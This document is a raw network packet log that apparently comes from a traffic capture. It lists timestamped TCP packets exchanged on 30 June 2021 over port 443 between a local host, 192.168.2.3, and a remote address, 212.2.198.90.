Jun 30, 2021 20:06:09.260123014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260138988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260159969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260164022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260185003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260205030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260210037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260231018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260234118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260256052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260258913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260277987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260292053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260302067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260324955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260349989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260364056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260370016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260375977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260385990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260402918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260405064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260430098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260445118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260453939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260456085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260478973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260487080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260504007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260526896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260528088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260552883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260565996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260571003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260577917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260586977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260605097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260626078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260628939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260649920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260668993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260670900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260693073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260699034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260715008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260737896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260739088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260760069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260781050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260782003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260804892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260812044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260826111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260848999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260848999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260870934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260893106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260895014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260915995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260920048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260940075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260957003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260963917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260976076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260988951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261008978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261013031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261035919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261046886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261059999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261084080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261087894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261113882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261136055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261162043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261162996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261184931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261207104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261230946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261238098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261255980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261260986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261279106 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261301994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261306047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261329889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261331081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261349916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261372089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261379957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261394978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261414051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261416912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261440039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261445045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261464119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261464119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261485100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261487961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261511087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261512041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261533976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261537075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261557102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261559010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261579037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261588097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261600971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261620045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261621952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261643887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261647940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261667013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261689901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261691093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261713028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261718988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261737108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261758089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261759996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261787891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261789083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261811018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261822939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261835098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261854887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261859894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261883020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261890888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261905909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261930943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261930943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261951923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261962891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.261975050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261997938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.261998892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262021065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262034893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262047052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262068033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262072086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262093067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262111902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262115002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262140989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262144089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262172937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262185097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262197971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262221098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262222052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262249947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262250900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262279034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262284040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262303114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262310028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262331009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262353897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262353897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262361050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262372971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262377977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262398005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262401104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262427092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262430906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262453079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262460947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262475014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262475967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262490988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262499094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262520075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262520075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262542963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262550116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262567043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262576103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262590885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262598991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262614965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262620926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262639999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262640953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262664080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262684107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262686014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262705088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262707949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262711048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262729883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262741089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262751102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262773037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262778997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262799978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.262815952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.262841940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267319918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267358065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267381907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267402887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267426968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267452002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267484903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267486095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267508030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267532110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267558098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267564058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267581940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267582893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267604113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267606974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267630100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267637968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267653942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267668009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267678022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267700911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267700911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267723083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267734051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267750978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267775059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267797947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267810106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267815113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267826080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267849922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267851114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267873049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267874002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267896891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267898083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.267920971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.267944098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.270279884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.270315886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.270423889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.270461082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.315639019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315697908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315717936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315743923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315769911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315793991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315819025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315843105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315845013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.315872908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315890074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.315901041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315922022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.315927029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315948009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.315952063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315977097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.315984011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316000938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316005945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316025972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316029072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316050053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316051960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316075087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316078901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316098928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316104889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316119909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316129923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316142082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316155910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316174984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316185951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316199064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316210985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316226006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316236973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316262007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316262960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316279888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316289902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316307068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316313982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316333055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316351891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316384077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316401958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316420078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316426992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316451073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316451073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316477060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316478014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316502094 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316505909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316526890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316531897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316553116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316567898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316579103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316596985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316620111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316620111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316647053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316660881 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316669941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316701889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316714048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316716909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316734076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316742897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316759109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316767931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316787958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316797018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316823959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316829920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316850901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316862106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316875935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316899061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316900015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316924095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316935062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316947937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316958904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316972971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.316992998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.316998959 CEST	443	49720	212.2.198.90	192.168.2.3
